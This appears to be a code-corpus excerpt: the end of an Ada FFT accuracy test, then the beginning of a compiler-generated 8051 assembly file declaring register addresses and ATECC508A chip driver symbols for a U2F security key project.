Inverse_FFT_Desired => False,
Normalized_Data_Desired => False,
Bit_Reversal_Desired => Do_the_Bit_Reversal);
FFT (Data_Re => D_Re,
Data_Im => D_Im,
Transformed_Data_Last => Transformed_Data_Last,
Input_Data_Last => Transformed_Data_Last,
Exp_Table => Exp_Table,
Inverse_FFT_Desired => True,
Normalized_Data_Desired => False,
Bit_Reversal_Desired => Do_the_Bit_Reversal);
FFT (Data_Re => D_Re,
Data_Im => D_Im,
Transformed_Data_Last => Transformed_Data_Last,
Input_Data_Last => Data_Set_Last,
Exp_Table => Exp_Table,
Inverse_FFT_Desired => False,
Normalized_Data_Desired => False,
Bit_Reversal_Desired => Do_the_Bit_Reversal);
FFT (Data_Re => D_Re,
Data_Im => D_Im,
Transformed_Data_Last => Transformed_Data_Last,
Input_Data_Last => Transformed_Data_Last,
Exp_Table => Exp_Table,
Inverse_FFT_Desired => True,
Normalized_Data_Desired => False,
Bit_Reversal_Desired => Do_the_Bit_Reversal);
for J in 0..Transformed_Data_Last loop
D_Re(J) := Inverse_No_Points2 * D_Re(J);
end loop;
for J in 0..Transformed_Data_Last loop
D_Im(J) := Inverse_No_Points2 * D_Im(J);
end loop;
end loop;
Max_Error := 0.0;
for J in 0..Data_Set_Last loop
Theta := Real (J);
D_Old := 1.0 / (Theta + 1.0);
Error := Abs (D_Re(J) - D_Old);
if Max_Error < Error then Max_Error := Error; end if;
D_Old := 1.0E-3 * Theta;
Error := Abs (D_Im(J) - D_Old);
if Max_Error < Error then Max_Error := Error; end if;
end loop;
--Max_Error := 0.0;
if Data_Set_Last < Data_Index'Last then
for J in Data_Set_Last+1 .. Transformed_Data_Last loop
Error := Abs (D_Re(J) - 0.0);
if Max_Error < Error then Max_Error := Error; end if;
Error := Abs (D_Im(J) - 0.0);
if Max_Error < Error then Max_Error := Error; end if;
end loop;
end if;
if Do_the_Bit_Reversal then
put("Maximum error = "); put(Max_Error); put (" ");
new_line;
end if;
end;
|
src/atecc508a.asm | mokafiht/u2f_key_SDCC | 1 | 243757 | <filename>src/atecc508a.asm
;--------------------------------------------------------
; File Created by SDCC : free open source ANSI-C Compiler
; Version 3.6.0 #9615 (MINGW32)
;--------------------------------------------------------
.module atecc508a
.optsdcc -mmcs51 --model-large
;--------------------------------------------------------
; Public variables in this module
;--------------------------------------------------------
.globl _u2f_delay
.globl _smb_set_ext_write
.globl _smb_write
.globl _smb_read
.globl _get_app_error
.globl _set_app_error
.globl _U2F_BLUE
.globl _U2F_GREEN
.globl _U2F_RED
.globl _U2F_BUTTON_VAL
.globl _U2F_BUTTON
.globl _UART1FCN1_TFRQ
.globl _UART1FCN1_TXNF
.globl _UART1FCN1_TXHOLD
.globl _UART1FCN1_TIE
.globl _UART1FCN1_RFRQ
.globl _UART1FCN1_RXTO1
.globl _UART1FCN1_RXTO0
.globl _UART1FCN1_RIE
.globl _TMR4CN0_TF4H
.globl _TMR4CN0_TF4L
.globl _TMR4CN0_TF4LEN
.globl _TMR4CN0_TF4CEN
.globl _TMR4CN0_T4SPLIT
.globl _TMR4CN0_TR4
.globl _TMR4CN0_T4XCLK1
.globl _TMR4CN0_T4XCLK0
.globl _TMR2CN0_TF2H
.globl _TMR2CN0_TF2L
.globl _TMR2CN0_TF2LEN
.globl _TMR2CN0_TF2CEN
.globl _TMR2CN0_T2SPLIT
.globl _TMR2CN0_TR2
.globl _TMR2CN0_T2XCLK1
.globl _TMR2CN0_T2XCLK0
.globl _TCON_TF1
.globl _TCON_TR1
.globl _TCON_TF0
.globl _TCON_TR0
.globl _TCON_IE1
.globl _TCON_IT1
.globl _TCON_IE0
.globl _TCON_IT0
.globl _SPI0CN0_SPIF
.globl _SPI0CN0_WCOL
.globl _SPI0CN0_MODF
.globl _SPI0CN0_RXOVRN
.globl _SPI0CN0_NSSMD1
.globl _SPI0CN0_NSSMD0
.globl _SPI0CN0_TXNF
.globl _SPI0CN0_SPIEN
.globl _SMB0CN0_MASTER
.globl _SMB0CN0_TXMODE
.globl _SMB0CN0_STA
.globl _SMB0CN0_STO
.globl _SMB0CN0_ACKRQ
.globl _SMB0CN0_ARBLOST
.globl _SMB0CN0_ACK
.globl _SMB0CN0_SI
.globl _SCON1_OVR
.globl _SCON1_PERR
.globl _SCON1_REN
.globl _SCON1_TBX
.globl _SCON1_RBX
.globl _SCON1_TI
.globl _SCON1_RI
.globl _SCON0_SMODE
.globl _SCON0_MCE
.globl _SCON0_REN
.globl _SCON0_TB8
.globl _SCON0_RB8
.globl _SCON0_TI
.globl _SCON0_RI
.globl _PSW_CY
.globl _PSW_AC
.globl _PSW_F0
.globl _PSW_RS1
.globl _PSW_RS0
.globl _PSW_OV
.globl _PSW_F1
.globl _PSW_PARITY
.globl _PCA0CN0_CF
.globl _PCA0CN0_CR
.globl _PCA0CN0_CCF2
.globl _PCA0CN0_CCF1
.globl _PCA0CN0_CCF0
.globl _P3_B1
.globl _P3_B0
.globl _P2_B3
.globl _P2_B2
.globl _P2_B1
.globl _P2_B0
.globl _P1_B7
.globl _P1_B6
.globl _P1_B5
.globl _P1_B4
.globl _P1_B3
.globl _P1_B2
.globl _P1_B1
.globl _P1_B0
.globl _P0_B7
.globl _P0_B6
.globl _P0_B5
.globl _P0_B4
.globl _P0_B3
.globl _P0_B2
.globl _P0_B1
.globl _P0_B0
.globl _IP_PSPI0
.globl _IP_PT2
.globl _IP_PS0
.globl _IP_PT1
.globl _IP_PX1
.globl _IP_PT0
.globl _IP_PX0
.globl _IE_EA
.globl _IE_ESPI0
.globl _IE_ET2
.globl _IE_ES0
.globl _IE_ET1
.globl _IE_EX1
.globl _IE_ET0
.globl _IE_EX0
.globl _B_B7
.globl _B_B6
.globl _B_B5
.globl _B_B4
.globl _B_B3
.globl _B_B2
.globl _B_B1
.globl _B_B0
.globl _ADC0CN0_ADEN
.globl _ADC0CN0_ADBMEN
.globl _ADC0CN0_ADINT
.globl _ADC0CN0_ADBUSY
.globl _ADC0CN0_ADWINT
.globl _ADC0CN0_ADCM2
.globl _ADC0CN0_ADCM1
.globl _ADC0CN0_ADCM0
.globl _ACC_ACC7
.globl _ACC_ACC6
.globl _ACC_ACC5
.globl _ACC_ACC4
.globl _ACC_ACC3
.globl _ACC_ACC2
.globl _ACC_ACC1
.globl _ACC_ACC0
.globl __XPAGE
.globl _TMR4RL
.globl _TMR4
.globl _TMR3RL
.globl _TMR3
.globl _TMR2RL
.globl _TMR2
.globl _SBRL1
.globl _PCA0
.globl _PCA0CP2
.globl _PCA0CP1
.globl _PCA0CP0
.globl _DP
.globl _ADC0LT
.globl _ADC0
.globl _ADC0GT
.globl _XBR2
.globl _XBR1
.globl _XBR0
.globl _WDTCN
.globl _VDM0CN
.globl _USB0XCN
.globl _USB0DAT
.globl _USB0CF
.globl _USB0CDSTA
.globl _USB0CDCN
.globl _USB0CDCF
.globl _USB0AEC
.globl _USB0ADR
.globl _UART1LIN
.globl _UART1FCT
.globl _UART1FCN1
.globl _UART1FCN0
.globl _TMR4RLL
.globl _TMR4RLH
.globl _TMR4L
.globl _TMR4H
.globl _TMR4CN1
.globl _TMR4CN0
.globl _TMR3RLL
.globl _TMR3RLH
.globl _TMR3L
.globl _TMR3H
.globl _TMR3CN1
.globl _TMR3CN0
.globl _TMR2RLL
.globl _TMR2RLH
.globl _TMR2L
.globl _TMR2H
.globl _TMR2CN1
.globl _TMR2CN0
.globl _TMOD
.globl _TL1
.globl _TL0
.globl _TH1
.globl _TH0
.globl _TCON
.globl _SPI0FCT
.globl _SPI0FCN1
.globl _SPI0FCN0
.globl _SPI0DAT
.globl _SPI0CN0
.globl _SPI0CKR
.globl _SPI0CFG
.globl _SP
.globl _SMOD1
.globl _SMB0TC
.globl _SMB0RXLN
.globl _SMB0FCT
.globl _SMB0FCN1
.globl _SMB0FCN0
.globl _SMB0DAT
.globl _SMB0CN0
.globl _SMB0CF
.globl _SMB0ADR
.globl _SMB0ADM
.globl _SFRSTACK
.globl _SFRPGCN
.globl _SFRPAGE
.globl _SCON1
.globl _SCON0
.globl _SBUF1
.globl _SBUF0
.globl _SBRLL1
.globl _SBRLH1
.globl _SBCON1
.globl _RSTSRC
.globl _REVID
.globl _REG1CN
.globl _REG0CN
.globl _REF0CN
.globl _PSW
.globl _PSCTL
.globl _PRTDRV
.globl _PFE0CN
.globl _PCON1
.globl _PCON0
.globl _PCA0PWM
.globl _PCA0POL
.globl _PCA0MD
.globl _PCA0L
.globl _PCA0H
.globl _PCA0CPM2
.globl _PCA0CPM1
.globl _PCA0CPM0
.globl _PCA0CPL2
.globl _PCA0CPL1
.globl _PCA0CPL0
.globl _PCA0CPH2
.globl _PCA0CPH1
.globl _PCA0CPH0
.globl _PCA0CN0
.globl _PCA0CLR
.globl _PCA0CENT
.globl _P3MDOUT
.globl _P3MDIN
.globl _P3
.globl _P2SKIP
.globl _P2MDOUT
.globl _P2MDIN
.globl _P2MAT
.globl _P2MASK
.globl _P2
.globl _P1SKIP
.globl _P1MDOUT
.globl _P1MDIN
.globl _P1MAT
.globl _P1MASK
.globl _P1
.globl _P0SKIP
.globl _P0MDOUT
.globl _P0MDIN
.globl _P0MAT
.globl _P0MASK
.globl _P0
.globl _LFO0CN
.globl _IT01CF
.globl _IPH
.globl _IP
.globl _IE
.globl _I2C0STAT
.globl _I2C0SLAD
.globl _I2C0FCT
.globl _I2C0FCN1
.globl _I2C0FCN0
.globl _I2C0DOUT
.globl _I2C0DIN
.globl _I2C0CN0
.globl _HFOCN
.globl _HFO1CAL
.globl _HFO0CAL
.globl _FLKEY
.globl _EMI0CN
.globl _EIP2H
.globl _EIP2
.globl _EIP1H
.globl _EIP1
.globl _EIE2
.globl _EIE1
.globl _DPL
.globl _DPH
.globl _DEVICEID
.globl _DERIVID
.globl _CRC0ST
.globl _CRC0IN
.globl _CRC0FLIP
.globl _CRC0DAT
.globl _CRC0CNT
.globl _CRC0CN1
.globl _CRC0CN0
.globl _CMP1MX
.globl _CMP1MD
.globl _CMP1CN1
.globl _CMP1CN0
.globl _CMP0MX
.globl _CMP0MD
.globl _CMP0CN1
.globl _CMP0CN0
.globl _CLKSEL
.globl _CKCON1
.globl _CKCON0
.globl _B
.globl _ADC0TK
.globl _ADC0PWR
.globl _ADC0MX
.globl _ADC0LTL
.globl _ADC0LTH
.globl _ADC0L
.globl _ADC0H
.globl _ADC0GTL
.globl _ADC0GTH
.globl _ADC0CN1
.globl _ADC0CN0
.globl _ADC0CF
.globl _ADC0AC
.globl _ACC
.globl _atecc_send
.globl _atecc_idle
.globl _atecc_sleep
.globl _atecc_wake
.globl _atecc_recv
.globl _atecc_send_recv
;--------------------------------------------------------
; special function registers
;--------------------------------------------------------
.area RSEG (ABS,DATA)
.org 0x0000
G$ACC$0$0 == 0x00e0
_ACC = 0x00e0
G$ADC0AC$0$0 == 0x00b3
_ADC0AC = 0x00b3
G$ADC0CF$0$0 == 0x00bc
_ADC0CF = 0x00bc
G$ADC0CN0$0$0 == 0x00e8
_ADC0CN0 = 0x00e8
G$ADC0CN1$0$0 == 0x00b2
_ADC0CN1 = 0x00b2
G$ADC0GTH$0$0 == 0x00c4
_ADC0GTH = 0x00c4
G$ADC0GTL$0$0 == 0x00c3
_ADC0GTL = 0x00c3
G$ADC0H$0$0 == 0x00be
_ADC0H = 0x00be
G$ADC0L$0$0 == 0x00bd
_ADC0L = 0x00bd
G$ADC0LTH$0$0 == 0x00c6
_ADC0LTH = 0x00c6
G$ADC0LTL$0$0 == 0x00c5
_ADC0LTL = 0x00c5
G$ADC0MX$0$0 == 0x00bb
_ADC0MX = 0x00bb
G$ADC0PWR$0$0 == 0x00df
_ADC0PWR = 0x00df
G$ADC0TK$0$0 == 0x00b9
_ADC0TK = 0x00b9
G$B$0$0 == 0x00f0
_B = 0x00f0
G$CKCON0$0$0 == 0x008e
_CKCON0 = 0x008e
G$CKCON1$0$0 == 0x00a6
_CKCON1 = 0x00a6
G$CLKSEL$0$0 == 0x00a9
_CLKSEL = 0x00a9
G$CMP0CN0$0$0 == 0x009b
_CMP0CN0 = 0x009b
G$CMP0CN1$0$0 == 0x0099
_CMP0CN1 = 0x0099
G$CMP0MD$0$0 == 0x009d
_CMP0MD = 0x009d
G$CMP0MX$0$0 == 0x009f
_CMP0MX = 0x009f
G$CMP1CN0$0$0 == 0x00bf
_CMP1CN0 = 0x00bf
G$CMP1CN1$0$0 == 0x00ac
_CMP1CN1 = 0x00ac
G$CMP1MD$0$0 == 0x00ab
_CMP1MD = 0x00ab
G$CMP1MX$0$0 == 0x00aa
_CMP1MX = 0x00aa
G$CRC0CN0$0$0 == 0x00ce
_CRC0CN0 = 0x00ce
G$CRC0CN1$0$0 == 0x0086
_CRC0CN1 = 0x0086
G$CRC0CNT$0$0 == 0x00d3
_CRC0CNT = 0x00d3
G$CRC0DAT$0$0 == 0x00de
_CRC0DAT = 0x00de
G$CRC0FLIP$0$0 == 0x00cf
_CRC0FLIP = 0x00cf
G$CRC0IN$0$0 == 0x00dd
_CRC0IN = 0x00dd
G$CRC0ST$0$0 == 0x00d2
_CRC0ST = 0x00d2
G$DERIVID$0$0 == 0x00ad
_DERIVID = 0x00ad
G$DEVICEID$0$0 == 0x00b5
_DEVICEID = 0x00b5
G$DPH$0$0 == 0x0083
_DPH = 0x0083
G$DPL$0$0 == 0x0082
_DPL = 0x0082
G$EIE1$0$0 == 0x00e6
_EIE1 = 0x00e6
G$EIE2$0$0 == 0x00ce
_EIE2 = 0x00ce
G$EIP1$0$0 == 0x00f3
_EIP1 = 0x00f3
G$EIP1H$0$0 == 0x00f5
_EIP1H = 0x00f5
G$EIP2$0$0 == 0x00f4
_EIP2 = 0x00f4
G$EIP2H$0$0 == 0x00f6
_EIP2H = 0x00f6
G$EMI0CN$0$0 == 0x00e7
_EMI0CN = 0x00e7
G$FLKEY$0$0 == 0x00b7
_FLKEY = 0x00b7
G$HFO0CAL$0$0 == 0x00c7
_HFO0CAL = 0x00c7
G$HFO1CAL$0$0 == 0x00d6
_HFO1CAL = 0x00d6
G$HFOCN$0$0 == 0x00ef
_HFOCN = 0x00ef
G$I2C0CN0$0$0 == 0x00ba
_I2C0CN0 = 0x00ba
G$I2C0DIN$0$0 == 0x00bc
_I2C0DIN = 0x00bc
G$I2C0DOUT$0$0 == 0x00bb
_I2C0DOUT = 0x00bb
G$I2C0FCN0$0$0 == 0x00ad
_I2C0FCN0 = 0x00ad
G$I2C0FCN1$0$0 == 0x00ab
_I2C0FCN1 = 0x00ab
G$I2C0FCT$0$0 == 0x00f5
_I2C0FCT = 0x00f5
G$I2C0SLAD$0$0 == 0x00bd
_I2C0SLAD = 0x00bd
G$I2C0STAT$0$0 == 0x00b9
_I2C0STAT = 0x00b9
G$IE$0$0 == 0x00a8
_IE = 0x00a8
G$IP$0$0 == 0x00b8
_IP = 0x00b8
G$IPH$0$0 == 0x00f2
_IPH = 0x00f2
G$IT01CF$0$0 == 0x00e4
_IT01CF = 0x00e4
G$LFO0CN$0$0 == 0x00b1
_LFO0CN = 0x00b1
G$P0$0$0 == 0x0080
_P0 = 0x0080
G$P0MASK$0$0 == 0x00fe
_P0MASK = 0x00fe
G$P0MAT$0$0 == 0x00fd
_P0MAT = 0x00fd
G$P0MDIN$0$0 == 0x00f1
_P0MDIN = 0x00f1
G$P0MDOUT$0$0 == 0x00a4
_P0MDOUT = 0x00a4
G$P0SKIP$0$0 == 0x00d4
_P0SKIP = 0x00d4
G$P1$0$0 == 0x0090
_P1 = 0x0090
G$P1MASK$0$0 == 0x00ee
_P1MASK = 0x00ee
G$P1MAT$0$0 == 0x00ed
_P1MAT = 0x00ed
G$P1MDIN$0$0 == 0x00f2
_P1MDIN = 0x00f2
G$P1MDOUT$0$0 == 0x00a5
_P1MDOUT = 0x00a5
G$P1SKIP$0$0 == 0x00d5
_P1SKIP = 0x00d5
G$P2$0$0 == 0x00a0
_P2 = 0x00a0
G$P2MASK$0$0 == 0x00fc
_P2MASK = 0x00fc
G$P2MAT$0$0 == 0x00fb
_P2MAT = 0x00fb
G$P2MDIN$0$0 == 0x00f3
_P2MDIN = 0x00f3
G$P2MDOUT$0$0 == 0x00a6
_P2MDOUT = 0x00a6
G$P2SKIP$0$0 == 0x00cc
_P2SKIP = 0x00cc
G$P3$0$0 == 0x00b0
_P3 = 0x00b0
G$P3MDIN$0$0 == 0x00f4
_P3MDIN = 0x00f4
G$P3MDOUT$0$0 == 0x009c
_P3MDOUT = 0x009c
G$PCA0CENT$0$0 == 0x009e
_PCA0CENT = 0x009e
G$PCA0CLR$0$0 == 0x009c
_PCA0CLR = 0x009c
G$PCA0CN0$0$0 == 0x00d8
_PCA0CN0 = 0x00d8
G$PCA0CPH0$0$0 == 0x00fc
_PCA0CPH0 = 0x00fc
G$PCA0CPH1$0$0 == 0x00ea
_PCA0CPH1 = 0x00ea
G$PCA0CPH2$0$0 == 0x00ec
_PCA0CPH2 = 0x00ec
G$PCA0CPL0$0$0 == 0x00fb
_PCA0CPL0 = 0x00fb
G$PCA0CPL1$0$0 == 0x00e9
_PCA0CPL1 = 0x00e9
G$PCA0CPL2$0$0 == 0x00eb
_PCA0CPL2 = 0x00eb
G$PCA0CPM0$0$0 == 0x00da
_PCA0CPM0 = 0x00da
G$PCA0CPM1$0$0 == 0x00db
_PCA0CPM1 = 0x00db
G$PCA0CPM2$0$0 == 0x00dc
_PCA0CPM2 = 0x00dc
G$PCA0H$0$0 == 0x00fa
_PCA0H = 0x00fa
G$PCA0L$0$0 == 0x00f9
_PCA0L = 0x00f9
G$PCA0MD$0$0 == 0x00d9
_PCA0MD = 0x00d9
G$PCA0POL$0$0 == 0x0096
_PCA0POL = 0x0096
G$PCA0PWM$0$0 == 0x00f7
_PCA0PWM = 0x00f7
G$PCON0$0$0 == 0x0087
_PCON0 = 0x0087
G$PCON1$0$0 == 0x009a
_PCON1 = 0x009a
G$PFE0CN$0$0 == 0x00c1
_PFE0CN = 0x00c1
G$PRTDRV$0$0 == 0x00f6
_PRTDRV = 0x00f6
G$PSCTL$0$0 == 0x008f
_PSCTL = 0x008f
G$PSW$0$0 == 0x00d0
_PSW = 0x00d0
G$REF0CN$0$0 == 0x00d1
_REF0CN = 0x00d1
G$REG0CN$0$0 == 0x00c9
_REG0CN = 0x00c9
G$REG1CN$0$0 == 0x00c6
_REG1CN = 0x00c6
G$REVID$0$0 == 0x00b6
_REVID = 0x00b6
G$RSTSRC$0$0 == 0x00ef
_RSTSRC = 0x00ef
G$SBCON1$0$0 == 0x0094
_SBCON1 = 0x0094
G$SBRLH1$0$0 == 0x0096
_SBRLH1 = 0x0096
G$SBRLL1$0$0 == 0x0095
_SBRLL1 = 0x0095
G$SBUF0$0$0 == 0x0099
_SBUF0 = 0x0099
G$SBUF1$0$0 == 0x0092
_SBUF1 = 0x0092
G$SCON0$0$0 == 0x0098
_SCON0 = 0x0098
G$SCON1$0$0 == 0x00c8
_SCON1 = 0x00c8
G$SFRPAGE$0$0 == 0x00a7
_SFRPAGE = 0x00a7
G$SFRPGCN$0$0 == 0x00cf
_SFRPGCN = 0x00cf
G$SFRSTACK$0$0 == 0x00d7
_SFRSTACK = 0x00d7
G$SMB0ADM$0$0 == 0x00d6
_SMB0ADM = 0x00d6
G$SMB0ADR$0$0 == 0x00d7
_SMB0ADR = 0x00d7
G$SMB0CF$0$0 == 0x00c1
_SMB0CF = 0x00c1
G$SMB0CN0$0$0 == 0x00c0
_SMB0CN0 = 0x00c0
G$SMB0DAT$0$0 == 0x00c2
_SMB0DAT = 0x00c2
G$SMB0FCN0$0$0 == 0x00c3
_SMB0FCN0 = 0x00c3
G$SMB0FCN1$0$0 == 0x00c4
_SMB0FCN1 = 0x00c4
G$SMB0FCT$0$0 == 0x00ef
_SMB0FCT = 0x00ef
G$SMB0RXLN$0$0 == 0x00c5
_SMB0RXLN = 0x00c5
G$SMB0TC$0$0 == 0x00ac
_SMB0TC = 0x00ac
G$SMOD1$0$0 == 0x0093
_SMOD1 = 0x0093
G$SP$0$0 == 0x0081
_SP = 0x0081
G$SPI0CFG$0$0 == 0x00a1
_SPI0CFG = 0x00a1
G$SPI0CKR$0$0 == 0x00a2
_SPI0CKR = 0x00a2
G$SPI0CN0$0$0 == 0x00f8
_SPI0CN0 = 0x00f8
G$SPI0DAT$0$0 == 0x00a3
_SPI0DAT = 0x00a3
G$SPI0FCN0$0$0 == 0x009a
_SPI0FCN0 = 0x009a
G$SPI0FCN1$0$0 == 0x009b
_SPI0FCN1 = 0x009b
G$SPI0FCT$0$0 == 0x00f7
_SPI0FCT = 0x00f7
G$TCON$0$0 == 0x0088
_TCON = 0x0088
G$TH0$0$0 == 0x008c
_TH0 = 0x008c
G$TH1$0$0 == 0x008d
_TH1 = 0x008d
G$TL0$0$0 == 0x008a
_TL0 = 0x008a
G$TL1$0$0 == 0x008b
_TL1 = 0x008b
G$TMOD$0$0 == 0x0089
_TMOD = 0x0089
G$TMR2CN0$0$0 == 0x00c8
_TMR2CN0 = 0x00c8
G$TMR2CN1$0$0 == 0x00fd
_TMR2CN1 = 0x00fd
G$TMR2H$0$0 == 0x00cd
_TMR2H = 0x00cd
G$TMR2L$0$0 == 0x00cc
_TMR2L = 0x00cc
G$TMR2RLH$0$0 == 0x00cb
_TMR2RLH = 0x00cb
G$TMR2RLL$0$0 == 0x00ca
_TMR2RLL = 0x00ca
G$TMR3CN0$0$0 == 0x0091
_TMR3CN0 = 0x0091
G$TMR3CN1$0$0 == 0x00fe
_TMR3CN1 = 0x00fe
G$TMR3H$0$0 == 0x0095
_TMR3H = 0x0095
G$TMR3L$0$0 == 0x0094
_TMR3L = 0x0094
G$TMR3RLH$0$0 == 0x0093
_TMR3RLH = 0x0093
G$TMR3RLL$0$0 == 0x0092
_TMR3RLL = 0x0092
G$TMR4CN0$0$0 == 0x0098
_TMR4CN0 = 0x0098
G$TMR4CN1$0$0 == 0x00ff
_TMR4CN1 = 0x00ff
G$TMR4H$0$0 == 0x00a5
_TMR4H = 0x00a5
G$TMR4L$0$0 == 0x00a4
_TMR4L = 0x00a4
G$TMR4RLH$0$0 == 0x00a3
_TMR4RLH = 0x00a3
G$TMR4RLL$0$0 == 0x00a2
_TMR4RLL = 0x00a2
G$UART1FCN0$0$0 == 0x009d
_UART1FCN0 = 0x009d
G$UART1FCN1$0$0 == 0x00d8
_UART1FCN1 = 0x00d8
G$UART1FCT$0$0 == 0x00fa
_UART1FCT = 0x00fa
G$UART1LIN$0$0 == 0x009e
_UART1LIN = 0x009e
G$USB0ADR$0$0 == 0x00ae
_USB0ADR = 0x00ae
G$USB0AEC$0$0 == 0x00b2
_USB0AEC = 0x00b2
G$USB0CDCF$0$0 == 0x00b6
_USB0CDCF = 0x00b6
G$USB0CDCN$0$0 == 0x00be
_USB0CDCN = 0x00be
G$USB0CDSTA$0$0 == 0x00bf
_USB0CDSTA = 0x00bf
G$USB0CF$0$0 == 0x00b5
_USB0CF = 0x00b5
G$USB0DAT$0$0 == 0x00af
_USB0DAT = 0x00af
G$USB0XCN$0$0 == 0x00b3
_USB0XCN = 0x00b3
G$VDM0CN$0$0 == 0x00ff
_VDM0CN = 0x00ff
G$WDTCN$0$0 == 0x0097
_WDTCN = 0x0097
G$XBR0$0$0 == 0x00e1
_XBR0 = 0x00e1
G$XBR1$0$0 == 0x00e2
_XBR1 = 0x00e2
G$XBR2$0$0 == 0x00e3
_XBR2 = 0x00e3
G$ADC0GT$0$0 == 0x00c3
_ADC0GT = 0x00c3
G$ADC0$0$0 == 0x00bd
_ADC0 = 0x00bd
G$ADC0LT$0$0 == 0x00c5
_ADC0LT = 0x00c5
G$DP$0$0 == 0x0082
_DP = 0x0082
G$PCA0CP0$0$0 == 0x00fb
_PCA0CP0 = 0x00fb
G$PCA0CP1$0$0 == 0x00e9
_PCA0CP1 = 0x00e9
G$PCA0CP2$0$0 == 0x00eb
_PCA0CP2 = 0x00eb
G$PCA0$0$0 == 0x00f9
_PCA0 = 0x00f9
G$SBRL1$0$0 == 0x0095
_SBRL1 = 0x0095
G$TMR2$0$0 == 0x00cc
_TMR2 = 0x00cc
G$TMR2RL$0$0 == 0x00ca
_TMR2RL = 0x00ca
G$TMR3$0$0 == 0x0094
_TMR3 = 0x0094
G$TMR3RL$0$0 == 0x0092
_TMR3RL = 0x0092
G$TMR4$0$0 == 0x00a4
_TMR4 = 0x00a4
G$TMR4RL$0$0 == 0x00a2
_TMR4RL = 0x00a2
G$_XPAGE$0$0 == 0x00aa
__XPAGE = 0x00aa
;--------------------------------------------------------
; special function bits
;--------------------------------------------------------
.area RSEG (ABS,DATA)
.org 0x0000
G$ACC_ACC0$0$0 == 0x00e0
_ACC_ACC0 = 0x00e0
G$ACC_ACC1$0$0 == 0x00e1
_ACC_ACC1 = 0x00e1
G$ACC_ACC2$0$0 == 0x00e2
_ACC_ACC2 = 0x00e2
G$ACC_ACC3$0$0 == 0x00e3
_ACC_ACC3 = 0x00e3
G$ACC_ACC4$0$0 == 0x00e4
_ACC_ACC4 = 0x00e4
G$ACC_ACC5$0$0 == 0x00e5
_ACC_ACC5 = 0x00e5
G$ACC_ACC6$0$0 == 0x00e6
_ACC_ACC6 = 0x00e6
G$ACC_ACC7$0$0 == 0x00e7
_ACC_ACC7 = 0x00e7
G$ADC0CN0_ADCM0$0$0 == 0x00e8
_ADC0CN0_ADCM0 = 0x00e8
G$ADC0CN0_ADCM1$0$0 == 0x00e9
_ADC0CN0_ADCM1 = 0x00e9
G$ADC0CN0_ADCM2$0$0 == 0x00ea
_ADC0CN0_ADCM2 = 0x00ea
G$ADC0CN0_ADWINT$0$0 == 0x00eb
_ADC0CN0_ADWINT = 0x00eb
G$ADC0CN0_ADBUSY$0$0 == 0x00ec
_ADC0CN0_ADBUSY = 0x00ec
G$ADC0CN0_ADINT$0$0 == 0x00ed
_ADC0CN0_ADINT = 0x00ed
G$ADC0CN0_ADBMEN$0$0 == 0x00ee
_ADC0CN0_ADBMEN = 0x00ee
G$ADC0CN0_ADEN$0$0 == 0x00ef
_ADC0CN0_ADEN = 0x00ef
G$B_B0$0$0 == 0x00f0
_B_B0 = 0x00f0
G$B_B1$0$0 == 0x00f1
_B_B1 = 0x00f1
G$B_B2$0$0 == 0x00f2
_B_B2 = 0x00f2
G$B_B3$0$0 == 0x00f3
_B_B3 = 0x00f3
G$B_B4$0$0 == 0x00f4
_B_B4 = 0x00f4
G$B_B5$0$0 == 0x00f5
_B_B5 = 0x00f5
G$B_B6$0$0 == 0x00f6
_B_B6 = 0x00f6
G$B_B7$0$0 == 0x00f7
_B_B7 = 0x00f7
G$IE_EX0$0$0 == 0x00a8
_IE_EX0 = 0x00a8
G$IE_ET0$0$0 == 0x00a9
_IE_ET0 = 0x00a9
G$IE_EX1$0$0 == 0x00aa
_IE_EX1 = 0x00aa
G$IE_ET1$0$0 == 0x00ab
_IE_ET1 = 0x00ab
G$IE_ES0$0$0 == 0x00ac
_IE_ES0 = 0x00ac
G$IE_ET2$0$0 == 0x00ad
_IE_ET2 = 0x00ad
G$IE_ESPI0$0$0 == 0x00ae
_IE_ESPI0 = 0x00ae
G$IE_EA$0$0 == 0x00af
_IE_EA = 0x00af
G$IP_PX0$0$0 == 0x00b8
_IP_PX0 = 0x00b8
G$IP_PT0$0$0 == 0x00b9
_IP_PT0 = 0x00b9
G$IP_PX1$0$0 == 0x00ba
_IP_PX1 = 0x00ba
G$IP_PT1$0$0 == 0x00bb
_IP_PT1 = 0x00bb
G$IP_PS0$0$0 == 0x00bc
_IP_PS0 = 0x00bc
G$IP_PT2$0$0 == 0x00bd
_IP_PT2 = 0x00bd
G$IP_PSPI0$0$0 == 0x00be
_IP_PSPI0 = 0x00be
G$P0_B0$0$0 == 0x0080
_P0_B0 = 0x0080
G$P0_B1$0$0 == 0x0081
_P0_B1 = 0x0081
G$P0_B2$0$0 == 0x0082
_P0_B2 = 0x0082
G$P0_B3$0$0 == 0x0083
_P0_B3 = 0x0083
G$P0_B4$0$0 == 0x0084
_P0_B4 = 0x0084
G$P0_B5$0$0 == 0x0085
_P0_B5 = 0x0085
G$P0_B6$0$0 == 0x0086
_P0_B6 = 0x0086
G$P0_B7$0$0 == 0x0087
_P0_B7 = 0x0087
G$P1_B0$0$0 == 0x0090
_P1_B0 = 0x0090
G$P1_B1$0$0 == 0x0091
_P1_B1 = 0x0091
G$P1_B2$0$0 == 0x0092
_P1_B2 = 0x0092
G$P1_B3$0$0 == 0x0093
_P1_B3 = 0x0093
G$P1_B4$0$0 == 0x0094
_P1_B4 = 0x0094
G$P1_B5$0$0 == 0x0095
_P1_B5 = 0x0095
G$P1_B6$0$0 == 0x0096
_P1_B6 = 0x0096
G$P1_B7$0$0 == 0x0097
_P1_B7 = 0x0097
G$P2_B0$0$0 == 0x00a0
_P2_B0 = 0x00a0
G$P2_B1$0$0 == 0x00a1
_P2_B1 = 0x00a1
G$P2_B2$0$0 == 0x00a2
_P2_B2 = 0x00a2
G$P2_B3$0$0 == 0x00a3
_P2_B3 = 0x00a3
G$P3_B0$0$0 == 0x00b0
_P3_B0 = 0x00b0
G$P3_B1$0$0 == 0x00b1
_P3_B1 = 0x00b1
G$PCA0CN0_CCF0$0$0 == 0x00d8
_PCA0CN0_CCF0 = 0x00d8
G$PCA0CN0_CCF1$0$0 == 0x00d9
_PCA0CN0_CCF1 = 0x00d9
G$PCA0CN0_CCF2$0$0 == 0x00da
_PCA0CN0_CCF2 = 0x00da
G$PCA0CN0_CR$0$0 == 0x00de
_PCA0CN0_CR = 0x00de
G$PCA0CN0_CF$0$0 == 0x00df
_PCA0CN0_CF = 0x00df
G$PSW_PARITY$0$0 == 0x00d0
_PSW_PARITY = 0x00d0
G$PSW_F1$0$0 == 0x00d1
